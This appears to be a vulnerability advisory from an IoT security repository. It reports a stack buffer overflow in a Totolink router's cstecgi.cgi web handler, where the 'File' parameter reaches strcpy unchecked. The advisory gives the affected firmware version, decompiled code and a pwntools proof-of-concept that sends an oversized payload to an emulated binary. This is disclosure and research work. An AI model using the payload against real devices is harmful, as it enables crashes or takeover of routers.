

main IoT-vuln / Totolink / 7.UploadCustomModule /



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Overview

- The device's official website: http://www.totolink.cn/home/menu/newstpl.html?menu_newstpl=products&id=2
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

Affected version

V4.3.0cu.7647_B20210106

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi FUN_0041309c` (at address `0x041309c`) gets the JSON parameter `file`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```

Decompile: FUN_0041309c - (cstecgi_not_test.cgi)
13 void __ptr;
14 char acStack409936 [204800];
15 undefined auStack205136 [204800];
16 char acStack336 [256];
17 undefined4 local_50;
18 undefined4 local_4c;
19 undefined4 local_48;
20 undefined4 local_44;
21 undefined4 local_40;
22 undefined4 local_3c;
23 undefined4 local_38;
24 undefined4 local_34;
25 undefined local_30;
26
27 memset(acStack409936,0,0x32000);
28 memset(auStack205136,0,0x32000);
29 memset(acStack336,0,0x100);
30 uVar1 = cJSON_CreateObject();
31 pcVar2 = (char *)websGetVar(param_1,"Action","");
32 uVar3 = cJSON_GetObjectItem(param_1,"data");
33 iVar4 = strcmp(pcVar2,"GetCustomModule");
34 if (iVar4 == 0) {
35     pcVar2 = (char *)websGetVar(uVar3,"FileMd5","");
36     __haystack = (char *)websGetVar(uVar3,"FileUrl","");
37     __src = (char *)websGetVar(uVar3,"File","");
38     strcpy(acStack409936,__src);
39     __size = base64_decode(acStack409936,auStack205136);
40     __s = fopen64("/tmp/custom_module","wb");
41     fwrite(auStack205136,__size,1,__s);
42     fclose(__s);
43     local_50 = 0;
44     local_4c = 0;
45     local_48 = 0;
46     local_44 = 0;

```

POC

```

from pwn import *
import json

data = {
    "topicurl": "setting/UploadCustomModule",
    "Action": "GetCustomModule",
    "data": {
        "File": "A"*(0x64000 + 0x400)
    }
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mips-static",

```

```
        "-g", "1234",
        "-L", "./lib",
        "-E", "LD_PRELOAD=./hook.so",
        "-E", "CONTENT_LENGTH={}".format(len(data)),
        "-E", "REMOTE_ADDR=192.168.2.1",
        "./cstecgi.cgi"
    ]

    a = process(argv=argv)

    a.sendline(data.encode())

    a.interactive()
```